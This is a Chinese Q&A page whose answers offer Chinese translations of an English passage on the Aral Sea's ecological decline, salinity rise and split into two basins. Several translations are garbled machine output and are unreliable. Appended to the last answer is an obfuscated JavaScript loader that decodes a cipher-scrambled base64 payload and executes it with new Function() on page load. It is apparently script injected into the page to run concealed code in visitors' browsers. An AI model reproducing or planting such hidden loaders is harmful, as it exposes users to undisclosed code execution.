翻译一篇英文文献

2025-03-30 17:37:01
推荐回答(5个)
回答1:

在最后两十年,一伟大的studies的数目已经被承担评价既在咸海大海中也沿着它的海岸生态系改变的各种各样方面Glazovsky,1995;Orlova,1996;Létolle和Chesterikoff,1999;最近参考文献:Nihoul等等2002.这些研究被两个咸海大海的在一定程度上进行:在所谓Large((南方部分)中和在小Aral大海((北方部分)中.近来,小咸海已经主要由于它的当前的对本地渔业的重要性吸引更多注意;但是,虽然它的生态系的改变大概是引人注目得多,更少一点被关于Large咸海大海的当前状态知道.因为淡水投入已经从1960年代起减少多达5-倍和盐性已经因此相应地增加,伟大的在最后十年的时间中大部分发生咸海生态系的改变发生.卑鄙年度淡水流入直到1960年代是56 km3向上的移动;每年它那时向在中间价值观逐步减少0到10 km3.这个结果是一海平面大约25米的落差.在1988年,咸海分开开始.进步地,北方地区的人,浅盆((小咸海和南方盆(Large咸海独立尽管生长,从一开始,依然处于被狭隘Berg海峡(Fig. 1)使这些两部分联合.Syrdarya River嘴向北移动,和河流现在向小咸海排放.因此,在小咸海大海中盐性仍然是低;在2002年它从14到18‰((Friedrich和Oberhänsli,2004)不等.在无拘束咸海大海中,盐性已经在2004年连续不断增加和接近109‰(Zavialov等等这问题).今天,Large咸海存在完全离开从小咸海除去和由一东方浅(3m)盆和awestern,深(40米)盆,公亩在北方中经过一条8米深渠道连接的构成.
发生:The海洋学的和的hydrological无拘束咸海的改变在过去几年中已经被在Zavialov(2005)和Zavialov等等总结(这问题).作者强调两个盆的hydrological结构的复杂和证明发生在东方浅水处和西方深盆之间Large咸海大海的动态的相互作用.温度和氧政权很好展示季节性和interannual改变.西方部分,水被至少在夏天和秋天常常使分层;因此,氧耗尽靠近在2002和2003底部发生Zavialov,2005;Zavialov等等这问题.在从从2002到2006调查期间,盐性正连续不断高涨.在2004年一时期中,盐性接近91‰in在东方盆中西方盆和达到向上的移动向109‰(因为进一步细节等等看见Zavialov这问题).

回答2:

在过去二十年里,大量的研究已经进行了评价的各个方面的生态系统的转变在咸海和沿海岸( Glazovsky , 1995年; Orlova , 1996年; Létolle和Chesterikoff , 1999年;最新书目: Nihoul等。 , 2002年) 。这些研究报告进行了两个部分的咸海:在所谓的大(南部) ,并在小咸海海洋(北部) 。最近,小咸海吸引了更多的关注,这主要是因为其目前的重要性,当地渔业;但是,只有不到人们对现状的大咸海,尽管其生态系统的变化可能更加突出。巨大变化,咸海的生态系统发生在过去几十年中发生的,因为大部分的淡水投入减少了5倍和20世纪60年代以来的盐度因此相应提高。平均每年的淡水流入为56立方公里,直到20世纪60年代,随后逐渐下降,以价值介于0至10立方公里左右。这导致海平面下降了大约25米1988年,咸海分区开始。逐步地,北部,浅盆(小咸海)和南部盆地(大咸海)虽然独立发展,在开始时,这两个板块仍然是连体的狭隘尔赫海峡(图1 ) 。在锡尔河州河口向北迁移,并排入河流现在小咸海。因此,盐度在小咸海仍然很低;在2002年它从14日至18 ‰ (弗里德里希和Oberhänsli , 2004年) 。在大咸海,盐度不断增加,接近109 ‰ , 2004年( Zavialov等。 ,这个问题) 。今天,大咸海是完全隔绝的小咸海和包括东部浅( 3个月)盆地和awestern ,深( 40米)盆地,这是连接北部的一个8米深的channel.The海洋学和水文的变化发生在大咸海在过去几年中已经总结了Zavialov ( 2005年)和Zavialov等。 (这个问题) 。作者突出了复杂的水文结构的两个盆地,并表现出的动态之间发生相互作用的东部和西部的浅水深盆大咸海。温度和氧制度展品伟大季节和年际变化。西部地区,往往是水层,至少在夏季和秋季,因此,氧消耗的底部附近发生在2002年和2003年( Zavialov , 2005 ; Zavialov等。 ,这个问题) 。在调查从2002年到2006年,盐度不断上升。对于2004年同期,盐度91 ‰ ,接近西部盆地和高达109 ‰东部盆地(详情见Zavialov等。 ,这个问题) 。

回答3:

在最后二十年期间,很大数量的研究在Aral海被承担评估生态系变革的各种各样的方面和沿它的岸(Glazovsky 1995年; orlova 1996年; letollee和Chesterikoff 1999年; 最近参考书目: Nihoul等, 2002)。 这些研究在Aral海的两个部分进行了: 在所谓大(南部的部分)和在小Aral海(北部)。 最近,主要由于它的地方渔场的,当前重要性小Aral海受到了更多注意,; 然而,较少知道关于大Aral海的现状,虽然在它的生态系上的变化大概是更加突出的。 在发生在最后十年期间的Aral海生态系上的巨大变化主要发生,因为淡水输入减少了和一样多五倍从20世纪60年代和盐分相应地因而增加了。 卑鄙每年淡水流入56 km3上升直到20世纪60年代; 它逐渐然后减少了对在0到10 km3范围的价值每年。 这导致海平面下落大约25 m。 在1988年, Aral海分开开始了。 日益,北,浅水池(小Aral海)和南部的水池(大Aral海)虽则独立地开发了,首先,这两个部分保持连接由狭窄的冰山海峡(图1)。 Syrdarya河口现在向北搬入和河放电小Aral海。 结果,盐分在小Aral海是低的; 在2002年它从14范围到18‰ (Friedrich和Oberhänsli 2004)。 在大Aral海,盐分在2004年连续地增加了和接近的109‰ (等Zavialov,这个问题)。 今天,大Aral海从小Aral海完全地被切除并且包括一个东部浅(3m)水池和awestern,深深(40 m)水池,在北部被连接由一种8 m深刻的渠道。海洋学的问题补充:The和发生水文学的变化在大Aral海上在等Zavialov (2005)和Zavialov在过去几年被总结了(这个问题)。 作者突出了二个水池的水文学结构的复杂并且展示了发生在大Aral海的东部浅和西部深水池的之间动态交互作用。 温度和氧气政权陈列巨大季节性和interannual变动。 在西部部分,水至少在夏天和秋天期间经常是有层次的,; 结果,氧气取尽在底部附近发生了在2002年和2003年(Zavialov 2005年; Zavialov等,这个问题)。 在勘测期间从2002至2006年,盐分连续地上升。 一个期间,在2004年盐分接近了91‰in西部水池和到达由在东部水池的109‰决定(关于进一步细节等看见Zavialov,这个问题)。

回答4:

在过去二十年里,大量的研究已经进行了评价的各个方面的生态系统的转变在咸海和沿海岸( Glazovsky , 1995年; Orlova , 1996年; Létolle和Chesterikoff , 1999年;最新书目: Nihoul等。 , 2002年) 。这些研究报告进行了两个部分的咸海:在所谓的大(南部) ,并在小咸海海洋(北部) 。最近,小咸海吸引了更多的关注,这主要是因为其目前的重要性,当地渔业;但是,只有不到人们对现状的大咸海,尽管其生态系统的变化可能更加突出。巨大变化,咸海的生态系统发生在过去几十年中发生的,因为大部分的淡水投入减少了5倍和20世纪60年代以来的盐度因此相应提高。平均每年的淡水流入为56立方公里,直到20世纪60年代,随后逐渐下降,以价值介于0至10立方公里左右。这导致海平面下降了大约25米1988年,咸海分区开始。逐步地,北部,浅盆(小咸海)和南部盆地(大咸海)虽然独立发展,在开始时,这两个板块仍然是连体的狭隘尔赫海峡(图1 ) 。在锡尔河州河口向北迁移,并排入河流现在小咸海。因此,盐度在小咸海仍然很低;在2002年它从14日至18 ‰ (弗里德里希和Oberhänsli , 2004年) 。在大咸海,盐度不断增加,接近109 ‰ , 2004年( Zavialov等。 ,这个问题) 。今天,大咸海是完全隔绝的小咸海和包括东部浅( 3个月)盆地和awestern ,深( 40米)盆地,这是连接北部的一个8米深的通道。
问题补充:海洋和水文变化发生在大咸海在过去几年中已经总结了Zavialov ( 2005年)和Zavialov等。 (这个问题) 。作者突出了复杂的水文结构的两个盆地,并表现出的动态之间发生相互作用的东部和西部的浅水深盆大咸海。温度和氧制度展品伟大季节和年际变化。西部地区,往往是水层,至少在夏季和秋季,因此,氧消耗的底部附近发生在2002年和2003年( Zavialov , 2005 ; Zavialov等。 ,这个问题) 。在调查从2002年到2006年,盐度不断上升。对于2004年同期,盐度91 ‰ ,接近西部盆地和高达109 ‰东部盆地(详情见Zavialov等。 ,这个问题) 。

回答5:

最少80分给你翻译

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();